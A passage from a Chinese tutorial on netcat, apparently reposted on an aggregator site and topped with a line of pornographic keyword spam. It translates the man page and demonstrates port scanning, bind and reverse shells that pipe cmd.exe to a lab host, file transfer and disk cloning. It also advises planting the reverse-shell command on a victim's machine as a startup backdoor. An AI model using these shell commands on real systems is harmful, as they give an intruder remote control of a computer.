日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

网络工具中的瑞士军刀——netcat工具简介

發布時間:2025/3/21 编程问答 17 豆豆
生活随笔 收集整理的這篇文章主要介紹了 网络工具中的瑞士军刀——netcat工具简介 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

今天給大家帶來netcat這款工具的簡單介紹。netcat有著“網絡工具中的瑞士軍刀”的綽號。它體積小巧,功能卻又十分強大。下面的內容包括,man手冊翻譯、常用參數介紹及例子。
一、man手冊翻譯
名稱
nc - TCP/IP 瑞士軍刀
概要
nc [-選項] 主機名 端口 [端口]…
nc -l -p 端口 [-選項] [主機名] [端口]
描述
netcat是一種簡單的unix實用程序,它使用TCP或UDP協議在網絡連接上讀取和寫入數據。它被設計成一個可靠的“后端”工具,可以是直接或容易被其他程序和腳本所驅動。同時,它是一個功能豐富的網絡調試和開發工具,因為它幾乎可以創建你需要的任何類型的連接并且有幾個有趣的內置功能。Netcat,或稱為“nc”,作為實際程序的名稱,應該是很久以前提供的,這是一種模糊定義但標準的Unix工具。
在最簡單的用法中,“nc 主機 端口”為給定的目標主機上的給定端口創建TCP連接。然后,您的標準輸入被發送到主機,任何通過連接返回的內容都會發送到您的標準輸出。這種情況會一直持續下去,直到連接的網絡端關閉。請注意,此行為與大多數其他應用程序不同,這些應用程序在標準輸入結束后關閉所有文件并退出。
Netcat也可以作為一個服務器,通過監聽任意端口上的入站連接,然后進行相同的讀取和寫入操作。對于小范圍的限制,netcat并不真正關心它是否在“客戶端”或“服務器”模式下運行——它仍然會來回地挖掘數據直到不再有剩余。在任何一種模式下,在網絡端可配置的不活動時間之后,可以強制關閉。
它也可以通過UDP實現這一點,因此,netcat也許是你一直想要用來測試你的UDP模式服務器的“UDP telnet-like”應用。正如“U”所暗示的,提供的更少可靠的數據傳輸比TCP連接和一些系統可能在發送大量數據時遇到麻煩,但是它仍然是一個有用的能力。
您可能會問“為什么不直接使用telnet連接任意端口?”這是一個合理的問題,這里是其中一些原因。Telnet有“standard input EOF”問題,所以必須在驅動腳本中引入計算延遲,以允許網絡輸出完成。這是netcat在網絡端關閉之前一直運行的主要原因。Telnet也不會傳輸任意二進制數據,因為某些字符被解釋為telnet選項,因此從數據流中刪除。Telnet也會發出一些對標準輸出的診斷消息,netcat將這些信息與它的輸出隔離開來,并且永遠不會修改傳輸中的任何真實數據,除非您真的想要。當然,telnet不能監聽入站連接,也不能使用UDP。Netcat沒有任何這些限制,比telnet更小、更快,而且還有許多其他優點。
選項
-c string????????在連接之后指定shell命令(謹慎使用)。該字符串被傳遞到/bin/sh-c執行。如果您沒有工作/bin/sh,請參閱-e選項(請注意,符合posix的系統必須有一個)。
-e filename??????在連接之后執行指定文件(謹慎使用)。請參閱-c選項以增強功能。
-g gateway??????源路由跳點,最多為8
-G num????????????源路由指針:4、8、12、 …
-h????顯示幫助
-i secs??????????????發送線路,端口掃描的延遲間隔。
-l??????????????????????監聽模式,對于入站連接。
-n?????????????????????只有數字的IP地址,沒有域名服務器。
-o file??????????????十六進制轉儲傳輸。
-p port????????????本地端口號(端口號可以是個人的或者是范圍:低-高 [包含的])
-q seconds??????在標準輸入的EOF后,等待規定的秒數然后退出。如果秒數是負數,永遠等待。
-b????????????????????允許UDP廣播
-r?????????????????????隨機化本地和遠程端口
-s addr????????????當前的源地址
-t?????????????????????使telnet順利通過
-u????????????????????UDP模式
-v????????????????????冗長(使用兩次可以更冗長)。ps.即顯示詳細信息
-w secs????????????連接和最終網絡讀取的超時
-C?????????????????????在行尾發送回車換行
-z??????????????????????零讀寫模式(用于掃描)
-T type????設置TOS標志(類型可以是”Minimize-Delay”, “Maximize-Throughput”, “Maximize-Reliability”, or “Minimize-Cost”的其中之一)
二、常用參數介紹及例子
1、端口掃描
局域網內有一臺主機,IP地址為192.168.3.242,現通過nc掃描其20-30的端口。

# nc -v -n -z 192.168.3.242 20-30

-v是顯示詳細信息(verbose),-n是不進行域名解析只接IP地址,-z是零讀寫,是掃描時常用的參數。
2、聊天服務器
局域網有兩臺主機,其中一臺作為服務器IP地址是192.168.3.119,監聽了333端口。另一臺作為客戶端連接服務器。可以實現兩臺主機之間的聊天。在這里服務器和客戶端在連接后其實沒什么區別。
服務器:nc -l -p 333
客戶端:nc -n -v 192.168.3.119 333

-l是偵聽模式,用于截獲網絡中經過的流量;-p后面接本地端口。

形如這種客戶端連接服務器的連接形式我們稱之為正向連接。相反地,服務器連接客戶端叫做反向連接,通常可以用作木馬留后門。當然在這個例子里面體現不出來區別,接下來會展示遠程控制中,正向連接和反向連接的區別。

3、遠程控制
局域網內有kalilinux IP:192.168.3.119,WIN10 IP:192.168.3.237。WIN10作為服務器,用kali連接它。
我們先嘗試正向連接。打開WIN10的任意端口(本例為333),把cmd.exe 重定向到333端口。

nc -l -p 333 -e c:\windows\system32\cmd.exe

然后用kali連接該主機的333端口。

# nc -nv 192.168.3.237 333

這樣客戶端就獲得了服務器的一個shell

接下來,我在入站規則里面禁用了nc,再嘗試正向連接,看看還能不能成功?

長時間沒反應,連接不上了。

一般來說,服務器為了安全考慮會通過入站規則設置禁止外部主機對其進行連接。但是對服務器連接外部主機的限制卻比較小。下面介紹通過反向連接方式對服務器進行遠程控制。

首先,打開客戶端的任意端口(本例定為333),開啟偵聽模式,捕獲通過該端口的所有流量。

# nc -v -l -p 333

然后,讓服務器連接客戶端的指定端口,將cmd重定向發送過去。

nc -n -v 192.168.3.119 333 -e c:\windows\system32\cmd.exe

連接成功!

反向連接可以用作木馬留后門。把反向連接特定主機的命令寫進腳本,放置在對方電腦,開機后臺運行。

4、文件傳輸
下面通過一個簡單的例子演示文件傳輸的過程。還是上例的兩臺主機,我要將WIN10里的一張圖片通過nc重定向發送到kalilinux上。這里繼續采用反向連接。
客戶端(接收方):

nc -lp 333 > huaji.jpg

服務器(發送方):

nc -nv 192.168.3.119 333 < d:\滑稽.jpg

這樣就完成了圖片的傳輸。如果要進行目錄傳輸,可以先用tar工具進行打包后發送,出于節省帶寬的考慮也可以進一步壓縮再發送。原理相同,這里就不演示了。

5、遠程硬盤克隆
服務器端使用管道命令,將磁盤文件重定向到333端口。

dd if=/dev/sda | nc -nv 1.1.1.1 333 -q 1

接收端

# nc -lp 333 | dd of=/dev/sda

以上是netcat一些簡單功能的介紹,這款工具還有很多有趣的功能等待我們去發掘,例如還可以通過內置的加密工具進行加密傳輸,搭建一個流媒體播放器等等。最后,附上windows系統版本netcat及使用方法。
下載鏈接:http://pan.baidu.com/s/1c21ZJCc
使用方法:將壓縮包內所有文件解壓到C:\windows\system32
然后就可以在命令行輸入nc命令了。

總結

以上是生活随笔為你收集整理的网络工具中的瑞士军刀——netcat工具简介的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。